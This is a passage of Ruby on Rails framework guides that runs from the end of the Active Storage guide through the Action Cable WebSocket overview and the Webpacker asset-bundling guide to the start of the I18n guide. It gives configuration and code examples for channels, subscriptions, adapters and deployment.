Then put a file in your fixtures directory (the default path is test/fixtures/files) with the corresponding filename. See the ActiveStorage::FixtureSet docs for more information.

Once everything is set up, you'll be able to access attachments in your tests:

  class UserTest < ActiveSupport::TestCase
  def test_avatar
    avatar = users(:david).avatar

    assert avatar.attached?
    assert_not_nil avatar.download
    assert_equal 1000, avatar.byte_size
  end
end

10.2.1 Cleaning up Fixtures

While files uploaded in tests are cleaned up at the end of each test, you only need to clean up fixture files once: when all your tests complete.

If you're using parallel tests, call parallelize_teardown:

  class ActiveSupport::TestCase
  # ...
  parallelize_teardown do |i|
    FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
  end
  # ...
end

If you're not running parallel tests, use Minitest.after_run or the equivalent for your test framework (e.g. after(:suite) for RSpec):

  # test_helper.rb

Minitest.after_run do
  FileUtils.rm_rf(ActiveStorage::Blob.services.fetch(:test_fixtures).root)
end

11 Implementing Support for Other Cloud Services

If you need to support a cloud service other than these, you will need to implement the Service. Each service extends ActiveStorage::Service by implementing the methods necessary to upload and download files to the cloud.

12 Purging Unattached Uploads

There are cases where a file is uploaded but never attached to a record. This can happen when using Direct Uploads. You can query for unattached records using the unattached scope. Below is an example using a custom rake task.

  namespace :active_storage do
  desc "Purges unattached Active Storage blobs. Run regularly."
  task purge_unattached: :environment do
    ActiveStorage::Blob.unattached.where(created_at: ..2.days.ago).find_each(&:purge_later)
  end
end

The query generated by ActiveStorage::Blob.unattached can be slow and potentially disruptive on applications with larger databases.

Action Cable Overview

In this guide, you will learn how Action Cable works and how to use WebSockets to incorporate real-time features into your Rails application.

After reading this guide, you will know:

What Action Cable is and its integration backend and frontend

How to set up Action Cable

How to set up channels

Deployment and Architecture setup for running Action Cable

Chapters

What is Action Cable?

Terminology

Connections

Consumers

Channels

Subscribers

Pub/Sub

Broadcastings

Server-Side Components

Connections

Channels

Client-Side Components

Connections

Client-Server Interactions

Streams

Broadcastings

Subscriptions

Passing Parameters to Channels

Rebroadcasting a Message

Full-Stack Examples

Example 1: User Appearances

Example 2: Receiving New Web Notifications

More Complete Examples

Configuration

Subscription Adapter

Allowed Request Origins

Consumer Configuration

Worker Pool Configuration

Client-side Logging

Other Configurations

Running Standalone Cable Servers

In App

Standalone

Notes

Dependencies

Deployment

Testing

1 What is Action Cable?

Action Cable seamlessly integrates WebSockets with the rest of your Rails application. It allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It's a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your entire domain model written with Active Record or your ORM of choice.

2 Terminology

Action Cable uses WebSockets instead of the HTTP request-response protocol. Both Action Cable and WebSockets introduce some less familiar terminology:

2.1 Connections

Connections form the foundation of the client-server relationship. A single Action Cable server can handle multiple connection instances. It has one connection instance per WebSocket connection. A single user may have multiple WebSockets open to your application if they use multiple browser tabs or devices.

2.2 Consumers

The client of a WebSocket connection is called the consumer. In Action Cable, the consumer is created by the client-side JavaScript framework.

2.3 Channels

Each consumer can, in turn, subscribe to multiple channels. Each channel encapsulates a logical unit of work, similar to what a controller does in a typical MVC setup. For example, you could have a ChatChannel and an AppearancesChannel, and a consumer could be subscribed to either or both of these channels. At the very least, a consumer should be subscribed to one channel.

2.4 Subscribers

When the consumer is subscribed to a channel, they act as a subscriber. The connection between the subscriber and the channel is, surprise-surprise, called a subscription. A consumer can act as a subscriber to a given channel any number of times. For example, a consumer could subscribe to multiple chat rooms at the same time. (And remember that a physical user may have multiple consumers, one per tab/device open to your connection).

2.5 Pub/Sub

Pub/Sub or Publish-Subscribe refers to a message queue paradigm whereby senders of information (publishers), send data to an abstract class of recipients (subscribers), without specifying individual recipients. Action Cable uses this approach to communicate between the server and many clients.

2.6 Broadcastings

A broadcasting is a pub/sub link where anything transmitted by the broadcaster is sent directly to the channel subscribers who are streaming that named broadcasting. Each channel can be streaming zero or more broadcastings.

3 Server-Side Components

3.1 Connections

For every WebSocket accepted by the server, a connection object is instantiated. This object becomes the parent of all the channel subscriptions that are created from thereon. The connection itself does not deal with any specific application logic beyond authentication and authorization. The client of a WebSocket connection is called the connection consumer. An individual user will create one consumer-connection pair per browser tab, window, or device they have open.

Connections are instances of ApplicationCable::Connection, which extends ActionCable::Connection::Base. In ApplicationCable::Connection, you authorize the incoming connection and proceed to establish it if the user can be identified.

3.1.1 Connection Setup

  # app/channels/application_cable/connection.rb
module ApplicationCable
  class Connection < ActionCable::Connection::Base
    identified_by :current_user

    def connect
      self.current_user = find_verified_user
    end

    private
      def find_verified_user
        if verified_user = User.find_by(id: cookies.encrypted[:user_id])
          verified_user
        else
          reject_unauthorized_connection
        end
      end
  end
end

Here identified_by designates a connection identifier that can be used to find the specific connection later. Note that anything marked as an identifier will automatically create a delegate by the same name on any channel instances created off the connection.

This example relies on the fact that you will already have handled authentication of the user somewhere else in your application, and that a successful authentication sets an encrypted cookie with the user ID.

The cookie is then automatically sent to the connection instance when a new connection is attempted, and you use that to set the current_user. By identifying the connection by this same current user, you're also ensuring that you can later retrieve all open connections by a given user (and potentially disconnect them all if the user is deleted or unauthorized).

If your authentication approach includes using a session, you use cookie store for the session, your session cookie is named _session and the user ID key is user_id you can use this approach:

  verified_user = User.find_by(id: cookies.encrypted['_session']['user_id'])

3.1.2 Exception Handling

By default, unhandled exceptions are caught and logged to Rails' logger. If you would like to globally intercept these exceptions and report them to an external bug tracking service, for example, you can do so with rescue_from:

  # app/channels/application_cable/connection.rb
module ApplicationCable
  class Connection < ActionCable::Connection::Base
    rescue_from StandardError, with: :report_error

    private

    def report_error(e)
      SomeExternalBugtrackingService.notify(e)
    end
  end
end

3.2 Channels

A channel encapsulates a logical unit of work, similar to what a controller does in a typical MVC setup. By default, Rails creates a parent ApplicationCable::Channel class (which extends ActionCable::Channel::Base) for encapsulating shared logic between your channels.

3.2.1 Parent Channel Setup

  # app/channels/application_cable/channel.rb
module ApplicationCable
  class Channel < ActionCable::Channel::Base
  end
end

Then you would create your own channel classes. For example, you could have a ChatChannel and an AppearanceChannel:

  # app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
end

  # app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
end

A consumer could then be subscribed to either or both of these channels.

3.2.2 Subscriptions

Consumers subscribe to channels, acting as subscribers. Their connection is called a subscription. Produced messages are then routed to these channel subscriptions based on an identifier sent by the channel consumer.

  # app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  # Called when the consumer has successfully
  # become a subscriber to this channel.
  def subscribed
  end
end

3.2.3 Exception Handling

As with ApplicationCable::Connection, you can also use rescue_from on a specific channel to handle raised exceptions:

  # app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  rescue_from 'MyError', with: :deliver_error_message

  private
    def deliver_error_message(e)
      broadcast_to(...)
    end
end

4 Client-Side Components

4.1 Connections

Consumers require an instance of the connection on their side. This can be established using the following JavaScript, which is generated by default by Rails:

4.1.1 Connect Consumer

  // app/javascript/channels/consumer.js
// Action Cable provides the framework to deal with WebSockets in Rails.
// You can generate new channels where WebSocket features live using the `bin/rails generate channel` command.

import { createConsumer } from "@rails/actioncable"

export default createConsumer()

This will ready a consumer that'll connect against /cable on your server by default. The connection won't be established until you've also specified at least one subscription you're interested in having.

The consumer can optionally take an argument that specifies the URL to connect to. This can be a string or a function that returns a string that will be called when the WebSocket is opened.

  // Specify a different URL to connect to
createConsumer('https://ws.example.com/cable')

// Use a function to dynamically generate the URL
createConsumer(getWebSocketURL)

function getWebSocketURL() {
  const token = localStorage.get('auth-token')
  return `https://ws.example.com/cable?token=${token}`
}

4.1.2 Subscriber

A consumer becomes a subscriber by creating a subscription to a given channel:

  // app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" })

// app/javascript/channels/appearance_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "AppearanceChannel" })

While this creates the subscription, the functionality needed to respond to received data will be described later on.

A consumer can act as a subscriber to a given channel any number of times. For example, a consumer could subscribe to multiple chat rooms at the same time:

  // app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "1st Room" })
consumer.subscriptions.create({ channel: "ChatChannel", room: "2nd Room" })

5 Client-Server Interactions

5.1 Streams

Streams provide the mechanism by which channels route published content (broadcasts) to their subscribers. For example, the following code uses stream_from to subscribe to the broadcasting named chat_Best Room when the value of the :room parameter is "Best Room":

  # app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  def subscribed
    stream_from "chat_#{params[:room]}"
  end
end

Then, elsewhere in your Rails application, you can broadcast to such a room by calling broadcast:

  ActionCable.server.broadcast("chat_Best Room", { body: "This Room is Best Room." })

If you have a stream that is related to a model, then the broadcasting name can be generated from the channel and model. For example, the following code uses stream_for to subscribe to a broadcasting like comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE, where Z2lkOi8vVGVzdEFwcC9Qb3N0LzE is the GlobalID of the Post model.

  class CommentsChannel < ApplicationCable::Channel
  def subscribed
    post = Post.find(params[:id])
    stream_for post
  end
end

You can then broadcast to this channel by calling broadcast_to:

  CommentsChannel.broadcast_to(@post, @comment)

5.2 Broadcastings

A broadcasting is a pub/sub link where anything transmitted by a publisher is routed directly to the channel subscribers who are streaming that named broadcasting. Each channel can be streaming zero or more broadcastings.

Broadcastings are purely an online queue and time-dependent. If a consumer is not streaming (subscribed to a given channel), they'll not get the broadcast should they connect later.

5.3 Subscriptions

When a consumer is subscribed to a channel, they act as a subscriber. This connection is called a subscription. Incoming messages are then routed to these channel subscriptions based on an identifier sent by the cable consumer.

  // app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
  received(data) {
    this.appendLine(data)
  },

  appendLine(data) {
    const html = this.createLine(data)
    const element = document.querySelector("[data-chat-room='Best Room']")
    element.insertAdjacentHTML("beforeend", html)
  },

  createLine(data) {
    return `
      <article class="chat-line">
        <span class="speaker">${data["sent_by"]}</span>
        <span class="body">${data["body"]}</span>
      </article>
    `
  }
})

5.4 Passing Parameters to Channels

You can pass parameters from the client-side to the server-side when creating a subscription. For example:

  # app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  def subscribed
    stream_from "chat_#{params[:room]}"
  end
end

An object passed as the first argument to subscriptions.create becomes the params hash in the cable channel. The keyword channel is required:

  // app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
  received(data) {
    this.appendLine(data)
  },

  appendLine(data) {
    const html = this.createLine(data)
    const element = document.querySelector("[data-chat-room='Best Room']")
    element.insertAdjacentHTML("beforeend", html)
  },

  createLine(data) {
    return `
      <article class="chat-line">
        <span class="speaker">${data["sent_by"]}</span>
        <span class="body">${data["body"]}</span>
      </article>
    `
  }
})

  # Somewhere in your app this is called, perhaps
# from a NewCommentJob.
ActionCable.server.broadcast(
  "chat_#{room}",
  {
    sent_by: 'Paul',
    body: 'This is a cool chat app.'
  }
)

5.5 Rebroadcasting a Message

A common use case is to rebroadcast a message sent by one client to any other connected clients.

  # app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  def subscribed
    stream_from "chat_#{params[:room]}"
  end

  def receive(data)
    ActionCable.server.broadcast("chat_#{params[:room]}", data)
  end
end

  // app/javascript/channels/chat_channel.js
import consumer from "./consumer"

const chatChannel = consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
  received(data) {
    // data => { sent_by: "Paul", body: "This is a cool chat app." }
  }
}

chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })

The rebroadcast will be received by all connected clients, including the client that sent the message. Note that params are the same as they were when you subscribed to the channel.

6 Full-Stack Examples

The following setup steps are common to both examples:

Set up your connection.

Set up your parent channel.

Connect your consumer.

6.1 Example 1: User Appearances

Here's a simple example of a channel that tracks whether a user is online or not and what page they're on. (This is useful for creating presence features like showing a green dot next to a username if they're online).

Create the server-side appearance channel:

  # app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
  def subscribed
    current_user.appear
  end

  def unsubscribed
    current_user.disappear
  end

  def appear(data)
    current_user.appear(on: data['appearing_on'])
  end

  def away
    current_user.away
  end
end

When a subscription is initiated the subscribed callback gets fired, and we take that opportunity to say "the current user has indeed appeared". That appear/disappear API could be backed by Redis, a database, or whatever else.

Create the client-side appearance channel subscription:

  // app/javascript/channels/appearance_channel.js
import consumer from "./consumer"

consumer.subscriptions.create("AppearanceChannel", {
  // Called once when the subscription is created.
  initialized() {
    this.update = this.update.bind(this)
  },

  // Called when the subscription is ready for use on the server.
  connected() {
    this.install()
    this.update()
  },

  // Called when the WebSocket connection is closed.
  disconnected() {
    this.uninstall()
  },

  // Called when the subscription is rejected by the server.
  rejected() {
    this.uninstall()
  },

  update() {
    this.documentIsActive ? this.appear() : this.away()
  },

  appear() {
    // Calls `AppearanceChannel#appear(data)` on the server.
    this.perform("appear", { appearing_on: this.appearingOn })
  },

  away() {
    // Calls `AppearanceChannel#away` on the server.
    this.perform("away")
  },

  install() {
    window.addEventListener("focus", this.update)
    window.addEventListener("blur", this.update)
    document.addEventListener("turbo:load", this.update)
    document.addEventListener("visibilitychange", this.update)
  },

  uninstall() {
    window.removeEventListener("focus", this.update)
    window.removeEventListener("blur", this.update)
    document.removeEventListener("turbo:load", this.update)
    document.removeEventListener("visibilitychange", this.update)
  },

  get documentIsActive() {
    return document.visibilityState === "visible" && document.hasFocus()
  },

  get appearingOn() {
    const element = document.querySelector("[data-appearing-on]")
    return element ? element.getAttribute("data-appearing-on") : null
  }
})

6.1.1 Client-Server Interaction

Client connects to the Server via App.cable = ActionCable.createConsumer("ws://cable.example.com"). (cable.js). The Server identifies this connection by current_user.

Client subscribes to the appearance channel via consumer.subscriptions.create({ channel: "AppearanceChannel" }). (appearance_channel.js)

Server recognizes a new subscription has been initiated for the appearance channel and runs its subscribed callback, calling the appear method on current_user. (appearance_channel.rb)

Client recognizes that a subscription has been established and calls connected (appearance_channel.js), which in turn calls install and appear. appear calls AppearanceChannel#appear(data) on the server, and supplies a data hash of { appearing_on: this.appearingOn }. This is possible because the server-side channel instance automatically exposes all public methods declared on the class (minus the callbacks), so that these can be reached as remote procedure calls via a subscription's perform method.

Server receives the request for the appear action on the appearance channel for the connection identified by current_user (appearance_channel.rb). Server retrieves the data with the :appearing_on key from the data hash and sets it as the value for the :on key being passed to current_user.appear.

6.2 Example 2: Receiving New Web Notifications

The appearance example was all about exposing server functionality to client-side invocation over the WebSocket connection. But the great thing about WebSockets is that it's a two-way street. So, now, let's show an example where the server invokes an action on the client.

This is a web notification channel that allows you to trigger client-side web notifications when you broadcast to the relevant streams:

Create the server-side web notifications channel:

  # app/channels/web_notifications_channel.rb
class WebNotificationsChannel < ApplicationCable::Channel
  def subscribed
    stream_for current_user
  end
end

Create the client-side web notifications channel subscription:

  // app/javascript/channels/web_notifications_channel.js
// Client-side which assumes you've already requested
// the right to send web notifications.
import consumer from "./consumer"

consumer.subscriptions.create("WebNotificationsChannel", {
  received(data) {
    new Notification(data["title"], { body: data["body"] })
  }
})

Broadcast content to a web notification channel instance from elsewhere in your application:

  # Somewhere in your app this is called, perhaps from a NewCommentJob
WebNotificationsChannel.broadcast_to(
  current_user,
  title: 'New things!',
  body: 'All the news fit to print'
)

The WebNotificationsChannel.broadcast_to call places a message in the current subscription adapter's pubsub queue under a separate broadcasting name for each user. For a user with an ID of 1, the broadcasting name would be web_notifications:1.

The channel has been instructed to stream everything that arrives at web_notifications:1 directly to the client by invoking the received callback. The data passed as an argument is the hash sent as the second parameter to the server-side broadcast call, JSON encoded for the trip across the wire and unpacked for the data argument arriving as received.

6.3 More Complete Examples

See the rails/actioncable-examples repository for a full example of how to set up Action Cable in a Rails app and adding channels.

7 Configuration

Action Cable has two required configurations: a subscription adapter and allowed request origins.

7.1 Subscription Adapter

By default, Action Cable looks for a configuration file in config/cable.yml. The file must specify an adapter for each Rails environment. See the Dependencies section for additional information on adapters.

  development:
  adapter: async

test:
  adapter: test

production:
  adapter: redis
  url: redis://10.10.3.153:6381
  channel_prefix: appname_production

7.1.1 Adapter Configuration

Below is a list of the subscription adapters available for end-users.

7.1.1.1 Async Adapter

The async adapter is intended for development/testing and should not be used in production.

7.1.1.2 Redis Adapter

The Redis adapter requires users to provide a URL pointing to the Redis server. Additionally, a channel_prefix may be provided to avoid channel name collisions when using the same Redis server for multiple applications. See the Redis Pub/Sub documentation for more details.

The Redis adapter also supports SSL/TLS connections. The required SSL/TLS parameters can be passed in ssl_params key in the configuration yaml file.

  production:
  adapter: redis
  url: rediss://10.10.3.153:tls_port
  channel_prefix: appname_production
  ssl_params: {
    ca_file: "/path/to/ca.crt"
  }

The options given to ssl_params are passed directly to the OpenSSL::SSL::SSLContext#set_params method and can be any valid attribute of the SSL context. Please refer to the OpenSSL::SSL::SSLContext documentation for other available attributes.

If you are using self-signed certificates for redis adapter behind a firewall and opt to skip certificate check, then the ssl verify_mode should be set as OpenSSL::SSL::VERIFY_NONE.

It is not recommended to use VERIFY_NONE in production unless you absolutely understand the security implications. In order to set this option for the Redis adapter, the config should be ssl_params: { verify_mode: <%= OpenSSL::SSL::VERIFY_NONE %> }.

7.1.1.3 PostgreSQL Adapter

The PostgreSQL adapter uses Active Record's connection pool, and thus the application's config/database.yml database configuration, for its connection. This may change in the future. #27214

7.2 Allowed Request Origins

Action Cable will only accept requests from specified origins, which are passed to the server config as an array. The origins can be instances of strings or regular expressions, against which a check for the match will be performed.

  config.action_cable.allowed_request_origins = ['https://rubyonrails.com', %r{http://ruby.*}]

To disable and allow requests from any origin:

  config.action_cable.disable_request_forgery_protection = true

By default, Action Cable allows all requests from localhost:3000 when running in the development environment.

7.3 Consumer Configuration

To configure the URL, add a call to action_cable_meta_tag in your HTML layout HEAD. This uses a URL or path typically set via config.action_cable.url in the environment configuration files.

7.4 Worker Pool Configuration

The worker pool is used to run connection callbacks and channel actions in isolation from the server's main thread. Action Cable allows the application to configure the number of simultaneously processed threads in the worker pool.

  config.action_cable.worker_pool_size = 4

Also, note that your server must provide at least the same number of database connections as you have workers. The default worker pool size is set to 4, so that means you have to make at least 4 database connections available. You can change that in config/database.yml through the pool attribute.

7.5 Client-side Logging

Client-side logging is disabled by default. You can enable this by setting the ActionCable.logger.enabled to true.

  import * as ActionCable from '@rails/actioncable'

ActionCable.logger.enabled = true

7.6 Other Configurations

The other common option to configure is the log tags applied to the per-connection logger. Here's an example that uses the user account id if available, else "no-account" while tagging:

  config.action_cable.log_tags = [
  -> request { request.env['user_account_id'] || "no-account" },
  :action_cable,
  -> request { request.uuid }
]

For a full list of all configuration options, see the ActionCable::Server::Configuration class.

8 Running Standalone Cable Servers

8.1 In App

Action Cable can run alongside your Rails application. For example, to listen for WebSocket requests on /websocket, specify that path to config.action_cable.mount_path:

  # config/application.rb
class Application < Rails::Application
  config.action_cable.mount_path = '/websocket'
end

You can use ActionCable.createConsumer() to connect to the cable server if action_cable_meta_tag is invoked in the layout. Otherwise, A path is specified as first argument to createConsumer (e.g. ActionCable.createConsumer("/websocket")).

For every instance of your server you create, and for every worker your server spawns, you will also have a new instance of Action Cable, but the Redis or PostgreSQL adapter keeps messages synced across connections.

8.2 Standalone

The cable servers can be separated from your normal application server. It's still a Rack application, but it is its own Rack application. The recommended basic setup is as follows:

  # cable/config.ru
require_relative "../config/environment"
Rails.application.eager_load!

run ActionCable.server

Then you start the server using a binstub in bin/cable ala:

  #!/bin/bash
bundle exec puma -p 28080 cable/config.ru

The above will start a cable server on port 28080.

8.3 Notes

The WebSocket server doesn't have access to the session, but it has access to the cookies. This can be used when you need to handle authentication. You can see one way of doing that with Devise in this article.

9 Dependencies

Action Cable provides a subscription adapter interface to process its pubsub internals. By default, asynchronous, inline, PostgreSQL, and Redis adapters are included. The default adapter in new Rails applications is the asynchronous (async) adapter.

The Ruby side of things is built on top of websocket-driver, nio4r, and concurrent-ruby.

10 Deployment

Action Cable is powered by a combination of WebSockets and threads. Both the framework plumbing and user-specified channel work are handled internally by utilizing Ruby's native thread support. This means you can use all your existing Rails models with no problem, as long as you haven't committed any thread-safety sins.

The Action Cable server implements the Rack socket hijacking API, thereby allowing the use of a multi-threaded pattern for managing connections internally, irrespective of whether the application server is multi-threaded or not.

Accordingly, Action Cable works with popular servers like Unicorn, Puma, and Passenger.

11 Testing

You can find detailed instructions on how to test your Action Cable functionality in the testing guide.

Webpacker

This guide will show you how to install and use Webpacker to package JavaScript, CSS, and other assets for the client-side of your Rails application but please note Webpacker has been retired.

After reading this guide, you will know:

What Webpacker does and why it is different from Sprockets.

How to install Webpacker and integrate it with your framework of choice.

How to use Webpacker for JavaScript assets.

How to use Webpacker for CSS assets.

How to use Webpacker for static assets.

How to deploy a site that uses Webpacker.

How to use Webpacker in alternate Rails contexts, such as engines or Docker containers.

Chapters

What Is Webpacker?

What is Webpack?

How is Webpacker Different from Sprockets?

Installing Webpacker

Usage

Using Webpacker for JavaScript

Using Webpacker for CSS

Using Webpacker for Static Assets

Webpacker in Rails Engines

Hot Module Replacement (HMR)

Webpacker in Different Environments

Running Webpacker in Development

Deploying Webpacker

Additional Documentation

1 What Is Webpacker?

Webpacker is a Rails wrapper around the webpack build system that provides a standard webpack configuration and reasonable defaults.

1.1 What is Webpack?

The goal of webpack, or any front-end build system, is to allow you to write your front-end code in a way that is convenient for developers and then package that code in a way that is convenient for browsers. With webpack, you can manage JavaScript, CSS, and static assets like images or fonts. Webpack will allow you to write your code, reference other code in your application, transform your code, and combine your code into easily downloadable packs.

See the webpack documentation for information.

1.2 How is Webpacker Different from Sprockets?

Rails also ships with Sprockets, an asset-packaging tool whose features overlap with Webpacker. Both tools will compile your JavaScript into browser-friendly files and also minify and fingerprint them in production. In a development environment, Sprockets and Webpacker allow you to incrementally change files.

Sprockets, which was designed to be used with Rails, is somewhat simpler to integrate. In particular, code can be added to Sprockets via a Ruby gem. However, webpack is better at integrating with more current JavaScript tools and NPM packages and allows for a wider range of integration. New Rails apps are configured to use webpack for JavaScript and Sprockets for CSS, although you can do CSS in webpack.

You should choose Webpacker over Sprockets on a new project if you want to use NPM packages and/or want access to the most current JavaScript features and tools. You should choose Sprockets over Webpacker for legacy applications where migration might be costly, if you want to integrate using Gems, or if you have a very small amount of code to package.

If you are familiar with Sprockets, the following guide might give you some idea of how to translate. Please note that each tool has a slightly different structure, and the concepts don't directly map onto each other.

Task | Sprockets | Webpacker
Attach JavaScript | javascript_include_tag | javascript_pack_tag
Attach CSS | stylesheet_link_tag | stylesheet_pack_tag
Link to an image | image_url | image_pack_tag
Link to an asset | asset_url | asset_pack_tag
Require a script | //= require | import or require

2 Installing Webpacker

To use Webpacker, you must install the Yarn package manager, version 1.x or up, and you must have Node.js installed, version 10.13.0 and up.

Webpacker depends on NPM and Yarn. NPM, the Node package manager registry, is the primary repository for publishing and downloading open-source JavaScript projects, both for Node.js and browser runtimes. It is analogous to rubygems.org for Ruby gems. Yarn is a command-line utility that enables the installation and management of JavaScript dependencies, much like Bundler does for Ruby.

To include Webpacker in a new project, add --webpack to the rails new command. To add Webpacker to an existing project, add the webpacker gem to the project's Gemfile, run bundle install, and then run bin/rails webpacker:install.

Installing Webpacker creates the following local files:

File | Location | Explanation
JavaScript Folder | app/javascript | A place for your front-end source
Webpacker Configuration | config/webpacker.yml | Configure the Webpacker gem
Babel Configuration | babel.config.js | Configuration for the Babel JavaScript Compiler
PostCSS Configuration | postcss.config.js | Configuration for the PostCSS CSS Post-Processor
Browserlist | .browserslistrc | Browserlist manages target browsers configuration

The installation also calls the yarn package manager, creates a package.json file with a basic set of packages listed, and uses Yarn to install these dependencies.

3 Usage

3.1 Using Webpacker for JavaScript

With Webpacker installed, any JavaScript file in the app/javascript/packs directory will get compiled to its own pack file by default.

So if you have a file called app/javascript/packs/application.js, Webpacker will create a pack called application, and you can add it to your Rails application with the code <%= javascript_pack_tag "application" %>. With that in place, in development, Rails will recompile the application.js file every time it changes, and you load a page that uses that pack. Typically, the file in the actual packs directory will be a manifest that mostly loads other files, but it can also have arbitrary JavaScript code.

The default pack created for you by Webpacker will link to Rails' default JavaScript packages if they have been included in the project:

  import Rails from "@rails/ujs"
import Turbolinks from "turbolinks"
import * as ActiveStorage from "@rails/activestorage"
import "channels"

Rails.start()
Turbolinks.start()
ActiveStorage.start()

You'll need to include a pack that requires these packages to use them in your Rails application.

It is important to note that only webpack entry files should be placed in the app/javascript/packs directory; Webpack will create a separate dependency graph for each entry point, so a large number of packs will increase compilation overhead. The rest of your asset source code should live outside this directory though Webpacker does not place any restrictions or make any suggestions on how to structure your source code. Here is an example:

  app/javascript:
  ├── packs:
  │   # only webpack entry files here
  │   └── application.js
  │   └── application.css
  └── src:
  │   └── my_component.js
  └── stylesheets:
  │   └── my_styles.css
  └── images:
      └── logo.svg

Typically, the pack file itself is largely a manifest that uses import or require to load the necessary files and may also do some initialization.

If you want to change these directories, you can adjust the source_path (default app/javascript) and source_entry_path (default packs) in the config/webpacker.yml file.

Within source files, import statements are resolved relative to the file doing the import, so import Bar from "./foo" finds a foo.js file in the same directory as the current file, while import Bar from "../src/foo" finds a file in a sibling directory named src.

3.2 Using Webpacker for CSS

Out of the box, Webpacker supports CSS and SCSS using the PostCSS processor.

To include CSS code in your packs, first include your CSS files in your top-level pack file as though it was a JavaScript file. So if your CSS top-level manifest is in app/javascript/styles/styles.scss, you can import it with import styles/styles. This tells webpack to include your CSS file in the download. To actually load it in the page, include <%= stylesheet_pack_tag "application" %> in the view, where the application is the same pack name that you were using.

If you are using a CSS framework, you can add it to Webpacker by following the instructions to load the framework as an NPM module using yarn, typically yarn add <framework>. The framework should have instructions on importing it into a CSS or SCSS file.

3.3 Using Webpacker for Static Assets

The default Webpacker configuration should work out of the box for static assets. The configuration includes several image and font file format extensions, allowing webpack to include them in the generated manifest.json file.

With webpack, static assets can be imported directly in JavaScript files. The imported value represents the URL to the asset. For example:

  import myImageUrl from '../images/my-image.jpg'

// ...
let myImage = new Image();
myImage.src = myImageUrl;
myImage.alt = "I'm a Webpacker-bundled image";
document.body.appendChild(myImage);

If you need to reference Webpacker static assets from a Rails view, the assets need to be explicitly required from Webpacker-bundled JavaScript files. Unlike Sprockets, Webpacker does not import your static assets by default. The default app/javascript/packs/application.js file has a template for importing files from a given directory, which you can uncomment for every directory you want to have static files in. The directories are relative to app/javascript. The template uses the directory images, but you can use anything in app/javascript:

  const images = require.context("../images", true)
const imagePath = name => images(name, true)

Static assets will be output into a directory under public/packs/media. For example, an image located and imported at app/javascript/images/my-image.jpg will be output at public/packs/media/images/my-image-abcd1234.jpg. To render an image tag for this image in a Rails view, use image_pack_tag 'media/images/my-image.jpg.

The Webpacker ActionView helpers for static assets correspond to asset pipeline helpers according to the following table:

ActionView helper | Webpacker helper
favicon_link_tag | favicon_pack_tag
image_tag | image_pack_tag

Also, the generic helper asset_pack_path takes the local location of a file and returns its Webpacker location for use in Rails views.

You can also access the image by directly referencing the file from a CSS file in app/javascript.

3.4 Webpacker in Rails Engines

As of Webpacker version 6, Webpacker is not "engine-aware," which means Webpacker does not have feature-parity with Sprockets when it comes to using within Rails engines.

Gem authors of Rails engines who wish to support consumers using Webpacker are encouraged to distribute frontend assets as an NPM package in addition to the gem itself and provide instructions (or an installer) to demonstrate how host apps should integrate. A good example of this approach is Alchemy CMS.

3.5 Hot Module Replacement (HMR)

Webpacker out-of-the-box supports HMR with webpack-dev-server, and you can toggle it by setting dev_server/hmr option inside webpacker.yml.

Check out webpack's documentation on DevServer for more information.

To support HMR with React, you would need to add react-hot-loader. Check out React Hot Loader's Getting Started guide.

Don't forget to disable HMR if you are not running webpack-dev-server; otherwise, you will get a "not found error" for stylesheets.

4 Webpacker in Different Environments

Webpacker has three environments by default development, test, and production. You can add additional environment configurations in the webpacker.yml file and set different defaults for each environment. Webpacker will also load the file config/webpack/<environment>.js for additional environment setup.

5 Running Webpacker in Development

Webpacker ships with two binstub files to run in development: ./bin/webpack and ./bin/webpack-dev-server. Both are thin wrappers around the standard webpack.js and webpack-dev-server.js executables and ensure that the right configuration files and environmental variables are loaded based on your environment.

By default, Webpacker compiles automatically on demand in development when a Rails page loads. This means that you don't have to run any separate processes, and compilation errors will be logged to the standard Rails log. You can change this by changing to compile: false in the config/webpacker.yml file. Running bin/webpack will force the compilation of your packs.

If you want to use live code reloading or have enough JavaScript that on-demand compilation is too slow, you'll need to run ./bin/webpack-dev-server or ruby ./bin/webpack-dev-server. This process will watch for changes in the app/javascript/packs/*.js files and automatically recompile and reload the browser to match.

Windows users will need to run these commands in a terminal separate from bundle exec rails server.

Once you start this development server, Webpacker will automatically start proxying all webpack asset requests to this server. When you stop the server, it'll revert to on-demand compilation.

The Webpacker Documentation gives information on environment variables you can use to control webpack-dev-server. See additional notes in the rails/webpacker docs on the webpack-dev-server usage.

5.1 Deploying Webpacker

Webpacker adds a webpacker:compile task to the assets:precompile rake task, so any existing deploy pipeline that was using assets:precompile should work. The compile task will compile the packs and place them in public/packs.

6 Additional Documentation

For more information on advanced topics, such as using Webpacker with popular frameworks, consult the Webpacker Documentation.

Rails Internationalization (I18n) API

The Ruby I18n (shorthand for internationalization) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or for providing multi-language support in your application.

The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits.¹

So, in the process of internationalizing your Rails application you have to:

Ensure you have support for i18n.

Tell Rails where to find locale dictionaries.

Tell Rails how to set, preserve, and switch locales.

